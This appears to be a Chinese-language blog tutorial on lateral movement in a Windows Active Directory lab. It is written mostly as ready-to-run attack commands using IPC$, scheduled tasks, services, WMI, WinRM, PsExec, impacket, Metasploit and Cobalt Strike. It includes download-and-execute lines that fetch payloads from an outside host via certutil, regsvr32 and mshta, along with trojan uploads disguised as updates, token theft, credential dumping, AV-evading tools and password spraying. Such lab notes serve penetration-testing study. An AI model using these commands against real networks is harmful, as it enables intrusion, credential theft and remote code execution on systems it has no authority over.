内网横向移动

简介

用于已经得到了一个主机之后想要获取其他的主机方法

简单是示例

首先这个是一个ad域

web winserver 2012

pc win7

dc winserver2012

由于需要进入域环境,所以我直接拿web服务器开涮,扫描端口

发现了445端口

image-20240202230557572

然后使用msf对其利用,刚好发现第一个就成功了

image-20240202231259829

派发给cs

image-20240202231624557

image-20240202233715534

进行内网探测(端口扫描)

image-20240202233825350

image-20240202234022906

连着一块了

收集信息

image-20240202234342920

image-20240202234404276

然后达到获取其他主机的方式

但是在这之前必须了解一下smb

1
smbclient //192.168.78.95/C$ -U 'web\administrator%1qaz@WSX'

image-20240202235539483

一个共享文件的方式

内向工具篇

IPC$

前提是拥有密码或者是hash,对方开了端口443,139(netbios)

并且工作组使用的用户必须是Adminisrator 管理员组里面都不行

如果是域控的话那就可以

  1. 简介

    IPC$ (Internet Process Connection) 是共享 “命名管道” 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

  2. 使用条件

    • 开放了139,445端口

      IPC$ 连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示 netbios 协议的应用。

      我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。

      IPC$ 连接默认会走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享

    • 目标开启IPC$文件共享服务及默认共享

      默认共享是为了方便管理员远程管理而默认开启的共享。

      所有逻辑磁盘(c$、d$、e$…)和系统目录 WINNT 或WINDOWS(ADMIN$) ,通过IPC连接可以实现对这些默认共享的访问

      image-20240203000036772

    • 需要目标机器的管理员账号和密码 (主要的)

    默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对admin$ 目录建立 IPC 连接

    本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

  3. 常用的指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    1. 连接
    net use \\10.10.10.30\ipc$ /user:administrator "1qaz@wsx"
    上面的ipc$对应上面一幅图的ipc$

    2. 查看连接情况
    net use

    3. 查看目标主机时间
    net time \\10.10.10.30

    4. 删除连接
    net use \\10.10.10.30\ipc$ /del
    net use * /del /y

    5. 上传文件
    copy shell.exe \\10.10.10.30\c$\windows\temp\plugin_update.exe

    6. 下载文件
    copy \\10.10.10.30\c$\59.exe c:\

    7. 查看目标主机文件
    dir \\10.10.10.30\c$

    8. 开放/关闭 ipc$ 共享。
    net share ipc$
    net share ipc$ /del

    9. 共享计算机 C 盘。
    net share C=c:\

    10. 映射共享磁盘到本地
    net use z: \\10.10.10.30\c$ /user:administrator "1qaz@wsx"

    11. 查看/删除共享的资源。
    net share
    net share C /del

    12. 取消IPC远程连接。
    net use c: /del
    net use * /del /y


  4. IPC$连接失败常见错误号

    1
    2
    3
    4
    5
    6
    7
    8
    9
    错误号 5,拒绝访问                      【很可能你使用的用户不是管理员权限,先提升权限】
    错误号 51,Windows 无法找到网络路径 【网络有问题】
    错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
    错误号 67,找不到网络名 【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
    错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个ipc$,请删除后再连】
    错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
    错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
    错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未启动[连接域控会出现此情况]】
    错误号 2242,此用户的密码已经过期 【目标有帐号策略,强制定期要求更改密码】

IPC+AT

  1. at是什么

    AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

    简单理解为可以当作定时任务

  2. 利用at

    net use \10.10.10.201\c$ /user:administrator “1qaz@WSX3e”
    copy 59.exe \10.10.10.201\c$
    查看远程主机时间:net time \10.10.10.201
    AT命令添加任务:at \10.10.10.201 19:08 c:\59.exe
    AT命令删除任务:at \10.10.10.201 1 /delete
    AT命令查看任务:at \10.10.10.201

    #查看at任务列表,已经执行了的,不会显示。

    注意

    问题:执行at命令时,显示绑定句柄无效。

    解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts

    AT命令在windows server 2012等新版系统中已被弃用

    AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务

IPC+Schtasks

已经执行的情况下,如果发现还存在该进程,那么这个就不会再执行这个定时任务了

  1. Schtasks简介

    由于AT在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。

    允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

    常用的指令

    /Create 创建新计划任务。
    /Delete 删除计划任务。
    /Query 显示所有计划任务。
    /Change 更改计划任务属性。
    /Run 按需运行计划任务。
    /End 中止当前正在运行的计划任务。
    /ShowSid 显示与计划的任务名称相应的安全标识符。
    /? 显示此帮助消息。

    更多请参考:https://blog.csdn.net/qq_39680564/article/details/88993633

  2. 横向移动

    命令格式

    #创建任务
    schtasks /create /tn(任务名字) task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc(计划类型) ONSTART /s 域机器ip /RU(启动用户) system
    schtasks /create /S WIN-ENS2VR5TR3N /TN “test” /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f

    #运行任务
    schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码

    #删除任务
    schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

    schtasks /create 创建新的计划任务。
    /sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
    /mo modifier 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。
    对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。
    /tr 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
    /tn 指定任务的名称。

    使用过程

    创建连接

    net use \\10.10.10.201 /user:administrator “1qaz@WSX34”
    net use

    image-20240203215439785

    上传木马(一般都是正向的payload)

    dir \10.10.10.201\c$
    copy c:\windows\temp\59.exe \10.10.10.201\c$

    image-20240203215729364

    远程主机创建定时任务

    schtasks /create /s 10.10.10.201 /u de1ay\administrator /p “1qaz@WSX3e” /sc MINUTE /mo 1 /tn test2 /tr “c:\59.exe”

    /s 指定ip

    /u 指定用户

    /p 指定密码

    /sc 指定启动时间单位

    /mo 间隔

    /tn 名字

    /tr 运行命令

    Schtasks运行远程主机上的计划任务

    schtasks /run /s 10.10.10.201 /u de1ay\administrator /p “1qaz@WSX3e” /tn test2

    Schtasks删除远程主机上的计划任务

    schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p 1qaz@WSX3e

IPC+SC

sc 的意思是服务控制器,所以要求执行的服务程序,需要和sc 进行通信,但是现在基本上无法制作出这种文件,所以会出现报错,msf 会断掉
所以应该少用这个
针对于该方法,可能得生成payload 的时候直接生成-f exe-service(原理是进程迁移到service 进程) 的文件,该方案也是有bug 的
如果是最不同的exe 可以使用第三方工具,更改为服务程序

  1. sc简介

    sc可以注册,删除,查询系统服务

  2. sc远程注册服务

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #sc远程创建服务
    #本地系统启动
    sc \\10.10.10.201 create test binpath= "c:\59.exe" password= 1qaz@WSX3e
    sc \\10.10.10.201 create test binpath(此处不能有空格)= (此处有空格)"c:\59.exe" password= 1qaz@WSX3e
    # =左边不能有空格,右边有一个空格

    #当 "de1ay\administrator" 用户登录时启动
    sc \\10.10.10.201 create test(服务名) binpath= "c:\59.exe" obj= "de1ay\administrator" password= 1qaz@WSX3e

    #sc启动指定服务
    sc \\10.10.10.201 start test

    #sc停止指定服务
    sc \\10.10.10.201 stop test
    sc \\10.10.10.201 delete test

wmic

没有回显,但是使用vmicexec 可以获取回显

是用户管理本地和远程计算机的 一种模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基 本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。

在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其 中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。

通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。

而WMIC是为WMI提供的命令行界面。

  1. 命令执行条件

    • Windows Management Instrumentation 服务开启,端口TCP 135,默认开启
    • 防火墙允许 135、445 等端口通信
  2. 使用方法

    • 查询进程信息

      wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process list brief

    • WMI不支持执行命令,但是支持执行文件,也就是说我们可以使用cmd.exe执行对应的程序

      wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd.exe /c ipconfig”

    • 利用create创建进程

      image-20240203143455509

    • 远程执行

      wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd /c calc.exe”

      如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不够 的问题

      如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI服务被禁用

      wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。 也可以将输出重定向其他文件

    • 下载并执行文件

      1
      2
      3
      wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd /c  certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"

      wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"

WinRM

  1. 简介

    WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听 端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启。

  2. 判断是否开启WinRM

    判断本机是否开启WinRM服务

    winrm enumerate winrm/config/listener

    image-20240203144625645

    netstat -ano | findstr 5985

    wmic service list brief | findstr WinRM

  3. 判断目标主机是否开启WinRM服务

image-20240203144701302

  1. 开启

    1
    winrm quickconfig
  2. 允许远程主机访问及访问远程主机

    1
    winrm set winrm/config/client @{TrustedHosts="*"}
  3. Winrs执行命令

    1
    winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e ipconfig
    1
    winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e "cmd.exe"
  4. 横向移动

    • 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法

      1
      winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

      命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程

    • 在远程机器上打开进程

    1
    winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
    • 在远程机器上创建服务
    1
    winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
    • 在远程机器上启动服务

      1
      winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e

外部工具篇

windwos工具简介

https://download.sysinternals.com/files/SysinternalsSuite.zip

windwos tools 合集

Procmon

主要是使用用于监控软件,做了什么操作,比如,写入文件,查询了注册表等操作

Psexec (两个版本)

这个工具有两个版本,第一个版本是微软自己的,第二个版本是impacket 里面的

建议使用impacket

impacket 又有两个版本,第一个是python版本,第二个是exe 版本

  1. 简介

    PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的 交互性,而无需手动安装客户端软件。

  2. Psexec原理

    • pc$连接,释放Psexesvc.exe

    • 通过服务管理OpenSCManager打开受害者机器上服务控制管理器的句柄

    • 通过CreateService创建服务

    • 获取服务句柄OpenService使用StartService启动服务(并且这个服务是真正的服务)

  3. 使用的先天必要条件

    • 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
    • 对方未开启防火墙
    • 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服 务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
    • 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用 户,连接域控只能用域管理员账户。
  4. PsExec.exe使用

    • 直接只用

      微软官方工具包 ,直接使用

      第一次运行会弹框,输入 –accepteula 这个参数就可以绕过, 如果出现找不到网络名,判断目标主机已禁用ADMIN$共享

      1
      .\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX3e -s cmd.exe -accepteula

      image-20240208093345962

      注意是使用的是官方的psTools 里面的东西

      https://download.sysinternals.com/files/PSTools.zip

    • 建立IPC连接,无需输入秘密

      1
      2
      3
      4
      5
      6
      7
      net use \\IP /u:域名称\域账号 密码

      反弹cmd:
      psexec.exe \\10.10.10.201 -s cmd.exe -accepteula

      执行命令:
      psexec.exe \\10.10.10.201 whoami -accepteula

      建立连接

      image-20240208094229727

      反弹shell

      image-20240208094245871

      执行命令

      image-20240208094339360

      由于建立了连接,所以都不用在此输入密码

      1
      2
      3
      4
      5
      6
      -c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

      -d 不等待程序执行完就返回

      比如想上传一个本地的getpass到你远程连接的服务器上去:
      Psexec.exe \\ip -u user -p pass -c c:\getpass.exe –d

      个人觉得,下载文件的方式可能不太行,因为不太好做免杀

    • 同理也可以使用工具合集里的psexec

      其实是一样的

    • 使用cs 执行文件

      1
      2
      beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e whoami
      beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.78.117:8088/download/file.ext

      简单地说,就是直接使用shell

      前提就是需要有这个文件

      image-20240208105838869

      但是cs 不能处理交互式的,所以只能以执行命令的方式进行

    • Psexec.py

      impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性 (新版本官方也会)

      交互式命令行

      1
      .\psexec.exe administrator:root@192.168.79.135 

      image-20240208112303602

      不是很好使用

      1
      C:\>psexec.exe de1ay/administrator:1qaz@WSX3e@10.10.10.201 whoami

      直接执行命令

  5. 实战使用

    如果获取了对方的密码(内网管理员用户可能都是一样的)

    image-20240322133436582

    1
    .\psexec.exe Administrator:"passwd"@192.168.79.170

    本工具不用上传到靶机
    image-20240322133717047

    这个就是原理

    因此可以在服务管理器中发现

    image-20240322133939438

Smbexec.py

和psexec 原理一致,但是更加高级

impacket套件

smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

445端口

1
2
3
C:\>smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201
Impacket v0.9.17 - Copyright 2019 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute

image-20240322134226724

wmiexec

  1. wmiexec.vbs

    基本原理:当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之 前创建的共享文件夹。最后,通过FSO组件访问远程共享文件夹(需要用到445端口)中的结果文件, 将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文 件共享。

    1
    cscript.exe wmiexec.vbs

    image-20240208152502212

    1
    cscript.exe wmiexec.vbs   /cmd 192.168.79.135 Administrator root whoami 

    image-20240208153009014

    获取shell

    1
    cscript.exe wmiexec.vbs   /shell 192.168.93.135 Administrator root 

    image-20240208154152375

    利用cs半交互式

    1
    shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password

    注意

    • wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次 又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = “wmi1.dll”,也可以加入-persist参数 (后台运行)
    • 非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied
  2. WMI-HACKER

    介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用 Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横 向移动测试工具。此工具通过135端口进行命令执行,读取执行结果以及进行文件传输时无需445端口,通过把执行结果写入注册表中,然后进行读取

    主要功能:1、命令执行;2、文件上传;3、文件下载

    使用

    image-20240208161525817

    有命令回显

    1
    cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

    image-20240208161840240

    这里是system权限是因为由于该脚本是写入注册表的方式,创建注册表的方式执行都是system权限

    无命令回显

    1
    cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt 0

    这个只是将结果导入到文件里面

    image-20240208162102933

    1
    2
    3
    4
    5
    6
    文件上传-复制本机calc.exe到远程主机c:\calc.exe
    > cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

    文件下载-下载远程主机calc.exe到本地c:\calc.exe
    > cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc""c:\windows\system32\calc.exe"

  3. 免杀的版本

Metasploit

Psexec

执行直接就获取到meterpreter的PTH模块

exploit/windows/smb/psexec

设置

1
2
3
4
5
set rhost
set smbuser
set smbpass(可以是明文密码或者是hash 传递)
set lport
set payload bind_tcp

image-20240208164442538

使用ms17_010

image-20240208164648437

Token窃取

由于system 不能开启文件共享服务,所以我们需要降权为本地用户

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)

Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台 下的incognito移植过来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 加载incognito模块
load incognito

# 列举token
list_tokens -u

# 查看当前token
getuid

# 提示至system权限
getsystem

# token窃取
impersonate_token "NT AUTHORITY\\SYSTEM"

# 从进程窃取token
steal_token 4500

# 返回之前token
rev2self、drop_token

image-20240208170015446

image-20240208170023652

image-20240208170035437

用法总结

1
2
3
4
5
6
7
8
1. 先获取对应的token
steal_token 4500

2. 使用的对应的token
impersonate_token "NT AUTHORITY\\SYSTEM"

3. 使用完之后就是以当前的身份了,假设开启了一个shell 将是以该身份开启的

知识回顾

1
2
3
4
5
6
查看当前主机的账户
net user /DOMAIN


查看某一个用户的具体的身份
net user name /domain

cs

凭证获取

1
hashdump

image-20240208171704134

1
logonpasswords

image-20240208171736453

使用步骤

  1. 端口扫描

    image-20240208171844023

  2. 收集hash

    1
    hashdump

    发现hash 太少了

    尝试提权

    1
    2
    3
    4
    5
    bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统
    elevate:将任意用户的权限提升至系统权限,适用于201811月更新之前的 Win 7 和 Win 10 系统
    getsystem:将本地高级管理员权限提升至系统权限
    runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出
    spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程

密码喷洒

主要是使用该工具

1
crackmapexec smb ip_range -u xxx -p pass

-u 指定用户名,最还是管理员的

-p 就是管理员的密码

该工具主要是利用可能内网中的用户秘密可能是一样的原理,进行密码喷洒

所以最好选择的用户是管理员用户

msf’

通过指定多个rhost

比如使用smb/psexec 模块

然后使用

1
2
3
set rhost 10.10.10.1/24
set smbuser
....

设置完了,就可以尝试启动,如果发现存在相同的密码的主机就会,上线


内网横向移动
https://tsy244.github.io/2024/02/02/渗透/内网横向移动/
Author
August Rosenberg
Posted on
February 2, 2024
Licensed under